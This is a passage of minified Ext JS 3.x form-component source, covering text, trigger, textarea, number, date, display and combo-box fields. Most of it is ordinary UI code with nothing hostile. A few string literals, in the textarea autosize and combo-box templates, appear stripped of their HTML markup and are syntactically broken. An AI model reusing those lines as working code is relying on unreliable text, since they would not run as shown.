this.validationTask.delay(this.validationDelay) } }, onDisable:function () { Ext.form.TextField.superclass.onDisable.call(this); if (Ext.isIE) { this.el.dom.unselectable = "on" } }, onEnable:function () { Ext.form.TextField.superclass.onEnable.call(this); if (Ext.isIE) { this.el.dom.unselectable = "" } }, onKeyUpBuffered:function (a) { if (this.doAutoSize(a)) { this.autoSize() } }, doAutoSize:function (a) { return !a.isNavKeyPress() }, onKeyUp:function (a) { this.fireEvent("keyup", this, a) }, onKeyDown:function (a) { this.fireEvent("keydown", this, a) }, onKeyPress:function (a) { this.fireEvent("keypress", this, a) }, reset:function () { Ext.form.TextField.superclass.reset.call(this); this.applyEmptyText() }, applyEmptyText:function () { if (this.rendered && this.emptyText && this.getRawValue().length < 1 && !this.hasFocus) { this.setRawValue(this.emptyText); this.el.addClass(this.emptyClass) } }, preFocus:function () { var a = this.el, b; if (this.emptyText) { if (a.dom.value == this.emptyText) { this.setRawValue(""); b = true } a.removeClass(this.emptyClass) } if (this.selectOnFocus || b) { a.dom.select() } }, postBlur:function () { this.applyEmptyText() }, filterKeys:function (b) { if (b.ctrlKey) { return } var a = b.getKey(); if (Ext.isGecko && (b.isNavKeyPress() || a == b.BACKSPACE || (a == b.DELETE && b.button == -1))) { return } var c = String.fromCharCode(b.getCharCode()); if (!Ext.isGecko && b.isSpecialKey() && !c) { return } if (!this.maskRe.test(c)) { b.stopEvent() } }, setValue:function (a) { if (this.emptyText && this.el && !Ext.isEmpty(a)) { this.el.removeClass(this.emptyClass) } Ext.form.TextField.superclass.setValue.apply(this, arguments); this.applyEmptyText(); this.autoSize(); return this }, getErrors:function (a) { var d = Ext.form.TextField.superclass.getErrors.apply(this, arguments); a = Ext.isDefined(a) ? a : this.processValue(this.getRawValue()); if (Ext.isFunction(this.validator)) { var c = this.validator(a); if (c !== true) { d.push(c) } } if (a.length < 1 || a === this.emptyText) { if (this.allowBlank) { return d } else { d.push(this.blankText) } } if (!this.allowBlank && (a.length < 1 || a === this.emptyText)) { d.push(this.blankText) } if (a.length < this.minLength) { d.push(String.format(this.minLengthText, this.minLength)) } if (a.length > this.maxLength) { d.push(String.format(this.maxLengthText, this.maxLength)) } if (this.vtype) { var b = Ext.form.VTypes; if (!b[this.vtype](a, this)) { d.push(this.vtypeText || b[this.vtype + "Text"]) } } if (this.regex && !this.regex.test(a)) { d.push(this.regexText) } return d }, selectText:function (h, a) { var c = this.getRawValue(); var e = false; if (c.length > 0) { h = h === undefined ? 0 : h; a = a === undefined ? c.length : a; var g = this.el.dom; if (g.setSelectionRange) { g.setSelectionRange(h, a) } else { if (g.createTextRange) { var b = g.createTextRange(); b.moveStart("character", h); b.moveEnd("character", a - c.length); b.select() } } e = Ext.isGecko || Ext.isOpera } else { e = true } if (e) { this.focus() } }, autoSize:function () { if (!this.grow || !this.rendered) { return } if (!this.metrics) { this.metrics = Ext.util.TextMetrics.createInstance(this.el) } var c = this.el; var b = c.dom.value; var e = document.createElement("div"); e.appendChild(document.createTextNode(b)); b = e.innerHTML; Ext.removeNode(e); e = null; b += " "; var a = Math.min(this.growMax, Math.max(this.metrics.getWidth(b) + 10, this.growMin)); this.el.setWidth(a); this.fireEvent("autosize", this, a) }, onDestroy:function () { if (this.validationTask) { this.validationTask.cancel(); this.validationTask = null } Ext.form.TextField.superclass.onDestroy.call(this) }}); Ext.reg("textfield", Ext.form.TextField); Ext.form.TriggerField = Ext.extend(Ext.form.TextField, {defaultAutoCreate:{tag:"input", type:"text", size:"16", autocomplete:"off"}, hideTrigger:false, editable:true, readOnly:false, wrapFocusClass:"x-trigger-wrap-focus", autoSize:Ext.emptyFn, monitorTab:true, deferHeight:true, mimicing:false, actionMode:"wrap", defaultTriggerWidth:17, onResize:function (a, c) { Ext.form.TriggerField.superclass.onResize.call(this, a, c); var b = this.getTriggerWidth(); if (Ext.isNumber(a)) { this.el.setWidth(a - b) } this.wrap.setWidth(this.el.getWidth() + b) }, getTriggerWidth:function () { var a = this.trigger.getWidth(); if (!this.hideTrigger && !this.readOnly && a === 0) { a = this.defaultTriggerWidth } return a }, alignErrorIcon:function () { if (this.wrap) { this.errorIcon.alignTo(this.wrap, "tl-tr", [2, 0]) } }, onRender:function (b, a) { this.doc = Ext.isIE ? Ext.getBody() : Ext.getDoc(); Ext.form.TriggerField.superclass.onRender.call(this, b, a); this.wrap = this.el.wrap({cls:"x-form-field-wrap x-form-field-trigger-wrap"}); this.trigger = this.wrap.createChild(this.triggerConfig || {tag:"img", src:Ext.BLANK_IMAGE_URL, alt:"", cls:"x-form-trigger " + this.triggerClass}); this.initTrigger(); if (!this.width) { this.wrap.setWidth(this.el.getWidth() + this.trigger.getWidth()) } this.resizeEl = this.positionEl = this.wrap }, getWidth:function () { return(this.el.getWidth() + this.trigger.getWidth()) }, updateEditState:function () { if (this.rendered) { if (this.readOnly) { this.el.dom.readOnly = true; this.el.addClass("x-trigger-noedit"); this.mun(this.el, "click", this.onTriggerClick, this); this.trigger.setDisplayed(false) } else { if (!this.editable) { this.el.dom.readOnly = true; this.el.addClass("x-trigger-noedit"); this.mon(this.el, "click", this.onTriggerClick, this) } else { this.el.dom.readOnly = false; this.el.removeClass("x-trigger-noedit"); this.mun(this.el, "click", this.onTriggerClick, this) } this.trigger.setDisplayed(!this.hideTrigger) } this.onResize(this.width || this.wrap.getWidth()) } }, setHideTrigger:function (a) { if (a != this.hideTrigger) { this.hideTrigger = a; this.updateEditState() } }, setEditable:function (a) { if (a != this.editable) { this.editable = a; this.updateEditState() } }, setReadOnly:function (a) { if (a != this.readOnly) { this.readOnly = a; this.updateEditState() } }, afterRender:function () { Ext.form.TriggerField.superclass.afterRender.call(this); this.updateEditState() }, initTrigger:function () { this.mon(this.trigger, "click", this.onTriggerClick, this, {preventDefault:true}); this.trigger.addClassOnOver("x-form-trigger-over"); this.trigger.addClassOnClick("x-form-trigger-click") }, onDestroy:function () { Ext.destroy(this.trigger, this.wrap); if (this.mimicing) { this.doc.un("mousedown", this.mimicBlur, this) } delete this.doc; Ext.form.TriggerField.superclass.onDestroy.call(this) }, onFocus:function () { Ext.form.TriggerField.superclass.onFocus.call(this); if (!this.mimicing) { this.wrap.addClass(this.wrapFocusClass); this.mimicing = true; this.doc.on("mousedown", this.mimicBlur, this, {delay:10}); if (this.monitorTab) { this.on("specialkey", this.checkTab, this) } } }, checkTab:function (a, b) { if (b.getKey() == b.TAB) { this.triggerBlur() } }, onBlur:Ext.emptyFn, mimicBlur:function (a) { if (!this.isDestroyed && !this.wrap.contains(a.target) && this.validateBlur(a)) { this.triggerBlur() } }, triggerBlur:function () { this.mimicing = false; this.doc.un("mousedown", this.mimicBlur, this); if (this.monitorTab && this.el) { this.un("specialkey", this.checkTab, this) } Ext.form.TriggerField.superclass.onBlur.call(this); if (this.wrap) { this.wrap.removeClass(this.wrapFocusClass) } }, beforeBlur:Ext.emptyFn, validateBlur:function (a) { return true }, onTriggerClick:Ext.emptyFn}); Ext.form.TwinTriggerField = Ext.extend(Ext.form.TriggerField, {initComponent:function () { Ext.form.TwinTriggerField.superclass.initComponent.call(this); this.triggerConfig = {tag:"span", cls:"x-form-twin-triggers", cn:[ {tag:"img", src:Ext.BLANK_IMAGE_URL, alt:"", cls:"x-form-trigger " + this.trigger1Class}, {tag:"img", src:Ext.BLANK_IMAGE_URL, alt:"", cls:"x-form-trigger " + this.trigger2Class} ]} }, getTrigger:function (a) { return this.triggers[a] }, afterRender:function () { Ext.form.TwinTriggerField.superclass.afterRender.call(this); var c = this.triggers, b = 0, a = c.length; for (; b < a; ++b) { if (this["hideTrigger" + (b + 1)]) { c[b].hide() } } }, initTrigger:function () { var a = this.trigger.select(".x-form-trigger", true), b = this; a.each(function (d, g, c) { var e = "Trigger" + (c + 1); d.hide = function () { var h = b.wrap.getWidth(); this.dom.style.display = "none"; b.el.setWidth(h - b.trigger.getWidth()); b["hidden" + e] = true }; d.show = function () { var h = b.wrap.getWidth(); this.dom.style.display = ""; b.el.setWidth(h - b.trigger.getWidth()); b["hidden" + e] = false }; this.mon(d, "click", this["on" + e + "Click"], this, {preventDefault:true}); d.addClassOnOver("x-form-trigger-over"); d.addClassOnClick("x-form-trigger-click") }, this); this.triggers = a.elements }, getTriggerWidth:function () { var a = 0; Ext.each(this.triggers, function (d, c) { var e = "Trigger" + (c + 1), b = d.getWidth(); if (b === 0 && !this["hidden" + e]) { a += this.defaultTriggerWidth } else { a += b } }, this); return a }, onDestroy:function () { Ext.destroy(this.triggers); Ext.form.TwinTriggerField.superclass.onDestroy.call(this) }, onTrigger1Click:Ext.emptyFn, onTrigger2Click:Ext.emptyFn}); Ext.reg("trigger", Ext.form.TriggerField); Ext.form.TextArea = Ext.extend(Ext.form.TextField, {growMin:60, growMax:1000, growAppend:" \n ", enterIsSpecial:false, preventScrollbars:false, onRender:function (b, a) { if (!this.el) { this.defaultAutoCreate = {tag:"textarea", style:"width:100px;height:60px;", autocomplete:"off"} } Ext.form.TextArea.superclass.onRender.call(this, b, a); if (this.grow) { this.textSizeEl = Ext.DomHelper.append(document.body, {tag:"pre", cls:"x-form-grow-sizer"}); if (this.preventScrollbars) { this.el.setStyle("overflow", "hidden") } this.el.setHeight(this.growMin) } }, onDestroy:function () { Ext.removeNode(this.textSizeEl); Ext.form.TextArea.superclass.onDestroy.call(this) }, fireKey:function (a) { if (a.isSpecialKey() && (this.enterIsSpecial || (a.getKey() != a.ENTER || a.hasModifier()))) { this.fireEvent("specialkey", this, a) } }, doAutoSize:function (a) { return !a.isNavKeyPress() || a.getKey() == a.ENTER }, filterValidation:function (a) { if (!a.isNavKeyPress() || (!this.enterIsSpecial && a.keyCode == a.ENTER)) { this.validationTask.delay(this.validationDelay) } }, autoSize:function () { if (!this.grow || !this.textSizeEl) { return } var c = this.el, a = Ext.util.Format.htmlEncode(c.dom.value), d = this.textSizeEl, b; Ext.fly(d).setWidth(this.el.getWidth()); if (a.length < 1) { a = "  " } else { a += this.growAppend; if (Ext.isIE) { a = a.replace(/\n/g, " 
    ") } } d.innerHTML = a; b = Math.min(this.growMax, Math.max(d.offsetHeight, this.growMin)); if (b != this.lastHeight) { this.lastHeight = b; this.el.setHeight(b); this.fireEvent("autosize", this, b) } }}); Ext.reg("textarea", Ext.form.TextArea); Ext.form.NumberField = Ext.extend(Ext.form.TextField, {fieldClass:"x-form-field x-form-num-field", allowDecimals:true, decimalSeparator:".", decimalPrecision:2, allowNegative:true, minValue:Number.NEGATIVE_INFINITY, maxValue:Number.MAX_VALUE, minText:"The minimum value for this field is {0}", maxText:"The maximum value for this field is {0}", nanText:"{0} is not a valid number", baseChars:"0123456789", autoStripChars:false, initEvents:function () { var a = this.baseChars + ""; if (this.allowDecimals) { a += this.decimalSeparator } if (this.allowNegative) { a += "-" } a = Ext.escapeRe(a); this.maskRe = new RegExp("[" + a + "]"); if (this.autoStripChars) { this.stripCharsRe = new RegExp("[^" + a + "]", "gi") } Ext.form.NumberField.superclass.initEvents.call(this) }, getErrors:function (b) { var c = Ext.form.NumberField.superclass.getErrors.apply(this, arguments); b = Ext.isDefined(b) ? b : this.processValue(this.getRawValue()); if (b.length < 1) { return c } b = String(b).replace(this.decimalSeparator, "."); if (isNaN(b)) { c.push(String.format(this.nanText, b)) } var a = this.parseValue(b); if (a < this.minValue) { c.push(String.format(this.minText, this.minValue)) } if (a > this.maxValue) { c.push(String.format(this.maxText, this.maxValue)) } return c }, getValue:function () { return this.fixPrecision(this.parseValue(Ext.form.NumberField.superclass.getValue.call(this))) }, setValue:function (a) { a = Ext.isNumber(a) ? a : parseFloat(String(a).replace(this.decimalSeparator, ".")); a = this.fixPrecision(a); a = isNaN(a) ? "" : String(a).replace(".", this.decimalSeparator); return Ext.form.NumberField.superclass.setValue.call(this, a) }, setMinValue:function (a) { this.minValue = Ext.num(a, Number.NEGATIVE_INFINITY) }, setMaxValue:function (a) { this.maxValue = Ext.num(a, Number.MAX_VALUE) }, parseValue:function (a) { a = parseFloat(String(a).replace(this.decimalSeparator, ".")); return isNaN(a) ? "" : a }, fixPrecision:function (b) { var a = isNaN(b); if (!this.allowDecimals || this.decimalPrecision == -1 || a || !b) { return a ? "" : b } return parseFloat(parseFloat(b).toFixed(this.decimalPrecision)) }, beforeBlur:function () { var a = this.parseValue(this.getRawValue()); if (!Ext.isEmpty(a)) { this.setValue(a) } }}); Ext.reg("numberfield", Ext.form.NumberField); Ext.form.DateField = Ext.extend(Ext.form.TriggerField, {format:"m/d/Y", altFormats:"m/d/Y|n/j/Y|n/j/y|m/j/y|n/d/y|m/j/Y|n/d/Y|m-d-y|m-d-Y|m/d|m-d|md|mdy|mdY|d|Y-m-d|n-j|n/j", disabledDaysText:"Disabled", disabledDatesText:"Disabled", minText:"The date in this field must be equal to or after {0}", maxText:"The date in this field must be equal to or before {0}", invalidText:"{0} is not a valid date - it must be in the format {1}", triggerClass:"x-form-date-trigger", showToday:true, startDay:0, defaultAutoCreate:{tag:"input", type:"text", size:"10", autocomplete:"off"}, initTime:"12", initTimeFormat:"H", safeParse:function (b, c) { if (Date.formatContainsHourInfo(c)) { return Date.parseDate(b, c) } else { var a = Date.parseDate(b + " " + this.initTime, c + " " + this.initTimeFormat); if (a) { return a.clearTime() } } }, initComponent:function () { Ext.form.DateField.superclass.initComponent.call(this); this.addEvents("select"); if (Ext.isString(this.minValue)) { this.minValue = this.parseDate(this.minValue) } if (Ext.isString(this.maxValue)) { this.maxValue = this.parseDate(this.maxValue) } this.disabledDatesRE = null; this.initDisabledDays() }, initEvents:function () { Ext.form.DateField.superclass.initEvents.call(this); this.keyNav = new Ext.KeyNav(this.el, {down:function (a) { this.onTriggerClick() }, scope:this, forceKeyDown:true}) }, initDisabledDays:function () { if (this.disabledDates) { var b = this.disabledDates, a = b.length - 1, c = "(?:"; Ext.each(b, function (g, e) { c += Ext.isDate(g) ? "^" + Ext.escapeRe(g.dateFormat(this.format)) + "$" : b[e]; if (e != a) { c += "|" } }, this); this.disabledDatesRE = new RegExp(c + ")") } }, setDisabledDates:function (a) { this.disabledDates = a; this.initDisabledDays(); if (this.menu) { this.menu.picker.setDisabledDates(this.disabledDatesRE) } }, setDisabledDays:function (a) { this.disabledDays = a; if (this.menu) { this.menu.picker.setDisabledDays(a) } }, setMinValue:function (a) { this.minValue = (Ext.isString(a) ? this.parseDate(a) : a); if (this.menu) { this.menu.picker.setMinDate(this.minValue) } }, setMaxValue:function (a) { this.maxValue = (Ext.isString(a) ? this.parseDate(a) : a); if (this.menu) { this.menu.picker.setMaxDate(this.maxValue) } }, getErrors:function (e) { var h = Ext.form.DateField.superclass.getErrors.apply(this, arguments); e = this.formatDate(e || this.processValue(this.getRawValue())); if (e.length < 1) { return h } var c = e; e = this.parseDate(e); if (!e) { h.push(String.format(this.invalidText, c, this.format)); return h } var g = e.getTime(); if (this.minValue && g < this.minValue.clearTime().getTime()) { h.push(String.format(this.minText, this.formatDate(this.minValue))) } if (this.maxValue && g > this.maxValue.clearTime().getTime()) { h.push(String.format(this.maxText, this.formatDate(this.maxValue))) } if (this.disabledDays) { var a = e.getDay(); for (var b = 0; b < this.disabledDays.length; b++) { if (a === this.disabledDays[b]) { h.push(this.disabledDaysText); break } } } var d = this.formatDate(e); if (this.disabledDatesRE && this.disabledDatesRE.test(d)) { h.push(String.format(this.disabledDatesText, d)) } return h }, validateBlur:function () { return !this.menu || !this.menu.isVisible() }, getValue:function () { return this.parseDate(Ext.form.DateField.superclass.getValue.call(this)) || "" }, setValue:function (a) { return Ext.form.DateField.superclass.setValue.call(this, this.formatDate(this.parseDate(a))) }, parseDate:function (g) { if (!g || Ext.isDate(g)) { return g } var b = this.safeParse(g, this.format), c = this.altFormats, e = this.altFormatsArray; if (!b && c) { e = e || c.split("|"); for (var d = 0, a = e.length; d < a && !b; d++) { b = this.safeParse(g, e[d]) } } return b }, onDestroy:function () { Ext.destroy(this.menu, this.keyNav); Ext.form.DateField.superclass.onDestroy.call(this) }, formatDate:function (a) { return Ext.isDate(a) ? a.dateFormat(this.format) : a }, onTriggerClick:function () { if (this.disabled) { return } if (this.menu == null) { this.menu = new Ext.menu.DateMenu({hideOnClick:false, focusOnSelect:false}) } this.onFocus(); Ext.apply(this.menu.picker, {minDate:this.minValue, maxDate:this.maxValue, disabledDatesRE:this.disabledDatesRE, disabledDatesText:this.disabledDatesText, disabledDays:this.disabledDays, disabledDaysText:this.disabledDaysText, format:this.format, showToday:this.showToday, startDay:this.startDay, minText:String.format(this.minText, this.formatDate(this.minValue)), maxText:String.format(this.maxText, this.formatDate(this.maxValue))}); this.menu.picker.setValue(this.getValue() || new Date()); this.menu.show(this.el, "tl-bl?"); this.menuEvents("on") }, menuEvents:function (a) { this.menu[a]("select", this.onSelect, this); this.menu[a]("hide", this.onMenuHide, this); this.menu[a]("show", this.onFocus, this) }, onSelect:function (a, b) { this.setValue(b); this.fireEvent("select", this, b); this.menu.hide() }, onMenuHide:function () { this.focus(false, 60); this.menuEvents("un") }, beforeBlur:function () { var a = this.parseDate(this.getRawValue()); if (a) { this.setValue(a) } }}); Ext.reg("datefield", Ext.form.DateField); Ext.form.DisplayField = Ext.extend(Ext.form.Field, {validationEvent:false, validateOnBlur:false, defaultAutoCreate:{tag:"div"}, fieldClass:"x-form-display-field", htmlEncode:false, initEvents:Ext.emptyFn, isValid:function () { return true }, validate:function () { return true }, getRawValue:function () { var a = this.rendered ? this.el.dom.innerHTML : Ext.value(this.value, ""); if (a === this.emptyText) { a = "" } if (this.htmlEncode) { a = Ext.util.Format.htmlDecode(a) } return a }, getValue:function () { return this.getRawValue() }, getName:function () { return this.name }, setRawValue:function (a) { if (this.htmlEncode) { a = Ext.util.Format.htmlEncode(a) } return this.rendered ? (this.el.dom.innerHTML = (Ext.isEmpty(a) ? "" : a)) : (this.value = a) }, setValue:function (a) { this.setRawValue(a); return this }}); Ext.reg("displayfield", Ext.form.DisplayField); Ext.form.ComboBox = Ext.extend(Ext.form.TriggerField, {defaultAutoCreate:{tag:"input", type:"text", size:"24", autocomplete:"off"}, listClass:"", selectedClass:"x-combo-selected", listEmptyText:"", triggerClass:"x-form-arrow-trigger", shadow:"sides", listAlign:"tl-bl?", maxHeight:300, minHeight:90, triggerAction:"query", minChars:4, autoSelect:true, typeAhead:false, queryDelay:500, pageSize:0, selectOnFocus:false, queryParam:"query", loadingText:"Loading...", resizable:false, handleHeight:8, allQuery:"", mode:"remote", minListWidth:70, forceSelection:false, typeAheadDelay:250, lazyInit:true, clearFilterOnReset:true, submitValue:undefined, initComponent:function () { Ext.form.ComboBox.superclass.initComponent.call(this); this.addEvents("expand", "collapse", "beforeselect", "select", "beforequery"); if (this.transform) { var c = Ext.getDom(this.transform); if (!this.hiddenName) { this.hiddenName = c.name } if (!this.store) { this.mode = "local"; var j = [], e = c.options; for (var b = 0, a = e.length; b < a; b++) { var h = e[b], g = (h.hasAttribute ? h.hasAttribute("value") : h.getAttributeNode("value").specified) ? h.value : h.text; if (h.selected && Ext.isEmpty(this.value, true)) { this.value = g } j.push([g, h.text]) } this.store = new Ext.data.ArrayStore({idIndex:0, fields:["value", "text"], data:j, autoDestroy:true}); this.valueField = "value"; this.displayField = "text" } c.name = Ext.id(); if (!this.lazyRender) { this.target = true; this.el = Ext.DomHelper.insertBefore(c, this.autoCreate || this.defaultAutoCreate); this.render(this.el.parentNode, c) } Ext.removeNode(c) } else { if (this.store) { this.store = Ext.StoreMgr.lookup(this.store); if (this.store.autoCreated) { this.displayField = this.valueField = "field1"; if (!this.store.expandData) { this.displayField = "field2" } this.mode = "local" } } } this.selectedIndex = -1; if (this.mode == "local") { if (!Ext.isDefined(this.initialConfig.queryDelay)) { this.queryDelay = 10 } if (!Ext.isDefined(this.initialConfig.minChars)) { this.minChars = 0 } } }, onRender:function (b, a) { if (this.hiddenName && !Ext.isDefined(this.submitValue)) { this.submitValue = false } Ext.form.ComboBox.superclass.onRender.call(this, b, a); if (this.hiddenName) { this.hiddenField = this.el.insertSibling({tag:"input", type:"hidden", name:this.hiddenName, id:(this.hiddenId || Ext.id())}, "before", true) } if (Ext.isGecko) { this.el.dom.setAttribute("autocomplete", "off") } if (!this.lazyInit) { this.initList() } else { this.on("focus", this.initList, this, {single:true}) } }, initValue:function () { Ext.form.ComboBox.superclass.initValue.call(this); if (this.hiddenField) { this.hiddenField.value = Ext.value(Ext.isDefined(this.hiddenValue) ? this.hiddenValue : this.value, "") } }, getParentZIndex:function () { var a; if (this.ownerCt) { this.findParentBy(function (b) { a = parseInt(b.getPositionEl().getStyle("z-index"), 10); return !!a }) } return a }, getZIndex:function (b) { b = b || Ext.getDom(this.getListParent() || Ext.getBody()); var a = parseInt(Ext.fly(b).getStyle("z-index"), 10); if (!a) { a = this.getParentZIndex() } return(a || 12000) + 5 }, initList:function () { if (!this.list) { var a = "x-combo-list", c = Ext.getDom(this.getListParent() || Ext.getBody()); this.list = new Ext.Layer({parentEl:c, shadow:this.shadow, cls:[a, this.listClass].join(" "), constrain:false, zindex:this.getZIndex(c)}); var b = this.listWidth || Math.max(this.wrap.getWidth(), this.minListWidth); this.list.setSize(b, 0); this.list.swallowEvent("mousewheel"); this.assetHeight = 0; if (this.syncFont !== false) { this.list.setStyle("font-size", this.el.getStyle("font-size")) } if (this.title) { this.header = this.list.createChild({cls:a + "-hd", html:this.title}); this.assetHeight += this.header.getHeight() } this.innerList = this.list.createChild({cls:a + "-inner"}); this.mon(this.innerList, "mouseover", this.onViewOver, this); this.mon(this.innerList, "mousemove", this.onViewMove, this); this.innerList.setWidth(b - this.list.getFrameWidth("lr")); if (this.pageSize) { this.footer = this.list.createChild({cls:a + "-ft"}); this.pageTb = new Ext.PagingToolbar({store:this.store, pageSize:this.pageSize, renderTo:this.footer}); this.assetHeight += this.footer.getHeight() } if (!this.tpl) { this.tpl = '
    {' + this.displayField + "}
    " } this.view = new Ext.DataView({applyTo:this.innerList, tpl:this.tpl, singleSelect:true, selectedClass:this.selectedClass, itemSelector:this.itemSelector || "." + a + "-item", emptyText:this.listEmptyText, deferEmptyText:false}); this.mon(this.view, {containerclick:this.onViewClick, click:this.onViewClick, scope:this}); this.bindStore(this.store, true); if (this.resizable) { this.resizer = new Ext.Resizable(this.list, {pinned:true, handles:"se"}); this.mon(this.resizer, "resize", function (g, d, e) { this.maxHeight = e - this.handleHeight - this.list.getFrameWidth("tb") - this.assetHeight; this.listWidth = d; this.innerList.setWidth(d - this.list.getFrameWidth("lr")); this.restrictHeight() }, this); this[this.pageSize ? "footer" : "innerList"].setStyle("margin-bottom", this.handleHeight + "px") } } }, getListParent:function () { return document.body }, getStore:function () { return this.store }, bindStore:function (a, b) { if (this.store && !b) { if (this.store !== a && this.store.autoDestroy) { this.store.destroy() } else { this.store.un("beforeload", this.onBeforeLoad, this); this.store.un("load", this.onLoad, this); this.store.un("exception", this.collapse, this) } if (!a) { this.store = null; if (this.view) { this.view.bindStore(null) } if (this.pageTb) { this.pageTb.bindStore(null) } } } if (a) { if (!b) { this.lastQuery = null; if (this.pageTb) { this.pageTb.bindStore(a) } } this.store = Ext.StoreMgr.lookup(a); this.store.on({scope:this, beforeload:this.onBeforeLoad, load:this.onLoad, exception:this.collapse}); if (this.view) { this.view.bindStore(a) } } }, reset:function () { if (this.clearFilterOnReset && this.mode == "local") { this.store.clearFilter() } Ext.form.ComboBox.superclass.reset.call(this) }, initEvents:function () { Ext.form.ComboBox.superclass.initEvents.call(this); this.keyNav = new Ext.KeyNav(this.el, {up:function (a) { this.inKeyMode = true; this.selectPrev() }, down:function (a) { if (!this.isExpanded()) { this.onTriggerClick() } else { this.inKeyMode = true; this.selectNext() } }, enter:function (a) { this.onViewClick() }, esc:function (a) { this.collapse() }, tab:function (a) { if (this.forceSelection === true) { this.collapse() } else { this.onViewClick(false) } return true }, scope:this, doRelay:function (c, b, a) { if (a == "down" || this.scope.isExpanded()) { var d = Ext.KeyNav.prototype.doRelay.apply(this, arguments); if (!Ext.isIE && Ext.EventManager.useKeydown) { this.scope.fireKey(c) } return d } return true }, forceKeyDown:true, defaultEventAction:"stopEvent"}); this.queryDelay = Math.max(this.queryDelay || 10, this.mode == "local" ? 10 : 250); this.dqTask = new Ext.util.DelayedTask(this.initQuery, this); if (this.typeAhead) { this.taTask = new Ext.util.DelayedTask(this.onTypeAhead, this) } if (!this.enableKeyEvents) { this.mon(this.el, "keyup", this.onKeyUp, this) } }, onDestroy:function () { if (this.dqTask) { this.dqTask.cancel(); this.dqTask = null } this.bindStore(null); Ext.destroy(this.resizer, this.view, this.pageTb, this.list); Ext.destroyMembers(this, "hiddenField"); Ext.form.ComboBox.superclass.onDestroy.call(this) }, fireKey:function (a) { if (!this.isExpanded()) { Ext.form.ComboBox.superclass.fireKey.call(this, a) } }, onResize:function (a, b) { Ext.form.ComboBox.superclass.onResize.apply(this, arguments); if (!isNaN(a) && this.isVisible() && this.list) { this.doResize(a) } else { this.bufferSize = a } }, doResize:function (a) { if (!Ext.isDefined(this.listWidth)) { var b = Math.max(a, this.minListWidth); this.list.setWidth(b); this.innerList.setWidth(b - this.list.getFrameWidth("lr")) } }, onEnable:function () { Ext.form.ComboBox.superclass.onEnable.apply(this, arguments); if (this.hiddenField) { this.hiddenField.disabled = false } }, onDisable:function () { Ext.form.ComboBox.superclass.onDisable.apply(this, arguments); if (this.hiddenField) { this.hiddenField.disabled = true } }, onBeforeLoad:function () { if (!this.hasFocus) { return } this.innerList.update(this.loadingText ? '
    ' + this.loadingText + "
    " : ""); this.restrictHeight(); this.selectedIndex = -1 }, onLoad:function () { if (!this.hasFocus) { return } if (this.store.getCount() > 0 || this.listEmptyText) { this.expand(); this.restrictHeight(); if (this.lastQuery == this.allQuery) { if (this.editable) { this.el.dom.select() } if (this.autoSelect !== false && !this.selectByValue(this.value, true)) { this.select(0, true) } } else { if (this.autoSelect !== false) { this.selectNext() } if (this.typeAhead && this.lastKey != Ext.EventObject.BACKSPACE && this.lastKey != Ext.EventObject.DELETE) { this.taTask.delay(this.typeAheadDelay) } } } else { this.collapse() } }, onTypeAhead:function () { if (this.store.getCount() > 0) { var b = this.store.getAt(0); var c = b.data[this.displayField]; var a = c.length; var d = this.getRawValue().length; if (d != a) { this.setRawValue(c); this.selectText(d, c.length) } } }, assertValue:function () { var b = this.getRawValue(), a; if (this.valueField && Ext.isDefined(this.value)) { a = this.findRecord(this.valueField, this.value) } if (!a || a.get(this.displayField) != b) { a = this.findRecord(this.displayField, b) } if (!a && this.forceSelection) { if (b.length > 0 && b != this.emptyText) { this.el.dom.value = Ext.value(this.lastSelectionText, ""); this.applyEmptyText() } else { this.clearValue() } } else { if (a && this.valueField) { if (this.value == b) { return } b = a.get(this.valueField || this.displayField) } this.setValue(b) } }, onSelect:function (a, b) { if (this.fireEvent("beforeselect", this, a, b) !== false) { this.setValue(a.data[this.valueField || this.displayField]); this.collapse(); this.fireEvent("select", this, a, b) } }, getName:function () { var a = this.hiddenField; return a && a.name ? a.name : this.hiddenName || Ext.form.ComboBox.superclass.getName.call(this) }, getValue:function () { if (this.valueField) { return Ext.isDefined(this.value) ? this.value : "" } else { return Ext.form.ComboBox.superclass.getValue.call(this) } }, clearValue:function () { if (this.hiddenField) { this.hiddenField.value = "" } this.setRawValue(""); this.lastSelectionText = ""; this.applyEmptyText(); this.value = "" }, setValue:function (a) { var c = a; if (this.valueField) { var b = this.findRecord(this.valueField, a); if (b) { c = b.data[this.displayField] } else { if (Ext.isDefined(this.valueNotFoundText)) { c = this.valueNotFoundText } } } this.lastSelectionText = c; if (this.hiddenField) { this.hiddenField.value = Ext.value(a, "") } Ext.form.ComboBox.superclass.setValue.call(this, c); this.value = a; return this }, findRecord:function (c, b) { var a; if (this.store.getCount() > 0) { this.store.each(function (d) { if (d.data[c] == b) { a = d; return false } }) } return a }, onViewMove:function (b, a) { this.inKeyMode = false }, onViewOver:function (d, b) { if (this.inKeyMode) { return } var c = this.view.findItemFromChild(b); if (c) { var a = this.view.indexOf(c); this.select(a, false) } }, onViewClick:function (b) { var a = this.view.getSelectedIndexes()[0], c = this.store, d = c.getAt(a); if (d) { this.onSelect(d, a) } else { this.collapse() } if (b !== false) { this.el.focus() } }, restrictHeight:function () { this.innerList.dom.style.height = ""; var b = this.innerList.dom, e = this.list.getFrameWidth("tb") + (this.resizable ? this.handleHeight : 0) + this.assetHeight, c = Math.max(b.clientHeight, b.offsetHeight, b.scrollHeight), a = this.getPosition()[1] - Ext.getBody().getScroll().top, g = Ext.lib.Dom.getViewHeight() - a - this.getSize().height, d = Math.max(a, g, this.minHeight || 0) - this.list.shadowOffset - e - 5; c = Math.min(c, d, this.maxHeight); this.innerList.setHeight(c); this.list.beginUpdate(); this.list.setHeight(c + e); this.list.alignTo.apply(this.list, [this.el].concat(this.listAlign)); this.list.endUpdate() }, isExpanded:function () { return this.list && this.list.isVisible() }, selectByValue:function (a, c) { if (!Ext.isEmpty(a, true)) { var b = this.findRecord(this.valueField || this.displayField, a); if (b) { this.select(this.store.indexOf(b), c); return true } } return false }, select:function (a, c) { this.selectedIndex = a; this.view.select(a); if (c !== false) { var b = this.view.getNode(a); if (b) { this.innerList.scrollChildIntoView(b, false) } } }, selectNext:function () { var a = this.store.getCount(); if (a > 0) { if (this.selectedIndex == -1) { this.select(0) } else { if (this.selectedIndex < a - 1) { this.select(this.selectedIndex + 1) } } } }, selectPrev:function () { var a = this.store.getCount(); if (a > 0) { if (this.selectedIndex == -1) { this.select(0) } else { if (this.selectedIndex !== 0) { this.select(this.selectedIndex - 1) } } } }, onKeyUp:function (b) { var a = b.getKey(); if (this.editable !== false && this.readOnly !== true && (a == b.BACKSPACE || !b.isSpecialKey())) { this.lastKey = a; this.dqTask.delay(this.queryDelay) } 